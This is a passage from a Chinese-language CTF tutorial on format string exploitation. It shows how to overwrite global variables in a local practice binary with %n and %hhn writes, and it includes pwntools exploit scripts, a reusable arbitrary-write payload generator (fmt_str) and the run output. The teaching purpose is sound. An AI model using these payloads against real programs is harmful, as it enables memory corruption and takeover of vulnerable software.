    sh.sendline(payload)
    print sh.recv()
    sh.interactive()
forc()

结果如下:

[+] Starting local process './overflow': pid 4699
0xfff8e73c
<���%012d%6$n
[*] Process './overflow' stopped with exit code 0 (pid 4699)
<���-00000465192modified c.

ps:我在调试这个的时候,运行之后会直接断在第二个printf的位置,在执行完了这个printf之后呢,果然将c改为了16.

覆盖任意地址内存

覆盖小数字
如何修改data段的变量为一个较小的数字,比如,小于机器字长的数字。
如果还是将要覆盖的地址放在最前面,那么将直接占用机器字长个(4或8)字节.
显然,无论之后如何输出,都只会比4大。
有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把tag放在字符串的最前面,如果我们把tag放在种间,其实也是无妨的。
类似的,将地址放在种间,只要能够找到对应的偏移其照样也可以得到对应的数值。前面说了格式化字符串的为第6个参数,由于想要把2写到对应的地址处,因此格式化字符串的前面的字节必须是

aa%k$nxx

此时对应的存储的格式化字符串已经占据了6个字符的位置,如果我们再添加两个字符aa,那么其实aa%k就是第6个参数,$nxx是第7个参数,后面如果跟上要覆盖的地址,那就是第8个参数,所以将k设置为8,就可以覆盖了。
利用ida可以得到a的地址为0x0804A024(由于a、b是已初始化的全局变量,因此不在堆栈中)。

.data:0804A024 a               dd 7Bh                  ; DATA XREF: main:loc_8048521↑r
.data:0804A028                 public b
.data:0804A028 b               dd 1C8h                 ; DATA XREF: main:loc_8048540↑r

故而可以构造如下的利用代码

def fora():
    sh=process('./overflow')
    a_addr=0x0804A024
    payload='aa%8$naa'+p32(a_addr)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

对应的结果如下:

[+] Starting local process './overflow': pid 6794
0xffdfeb8c

[*] Switching to interactive mode
aaaa$\xa0\x04modified a for a small number.

其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可。

覆盖大数字
可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,一次性等待的时间也太长了,那么有没有什么比较好的方式呢?
现了解以下变量再内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。
再者,格式化字符串里有这恶两个标志:

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。

所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。这里,以单字节为例。
首先,要确定的是要覆盖的地址为多少,利用ida看以下,可以发现地址为0x0804A028。

.data:0804A028                 public b
.data:0804A028 b               dd 1C8h                 ; DATA XREF: main:loc_8048510�r

即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。

0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由于我们的字符串的偏移为6,所有可以确定payload基本如下:

p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

可以依次进行计算,这里给出一个基本的构造,如下:

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

其中每个参数的含义基本如下
offset 表示要覆盖的地址最初的偏移
size 表示机器字长
addr 表示将要覆盖的地址
target 表示我们要覆盖为的目的变量值
相应的exploit如下

def forb():
    sh = process('./overwrite')
    payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

结果如下:

[+] Starting local process './overflow': pid 7656
(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overflow' stopped with exit code 0 (pid 7656)
0xffdfe6fc
(\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04                                                                                                       \x98                                                                                                                                                                                                                             \x10                                                                                                                                                                                                                            \xbd                                                                                                                                                                                                                             \x00odified b for a big number!

你可能感兴趣的:(PWN格式化字符串漏洞1(基础知识))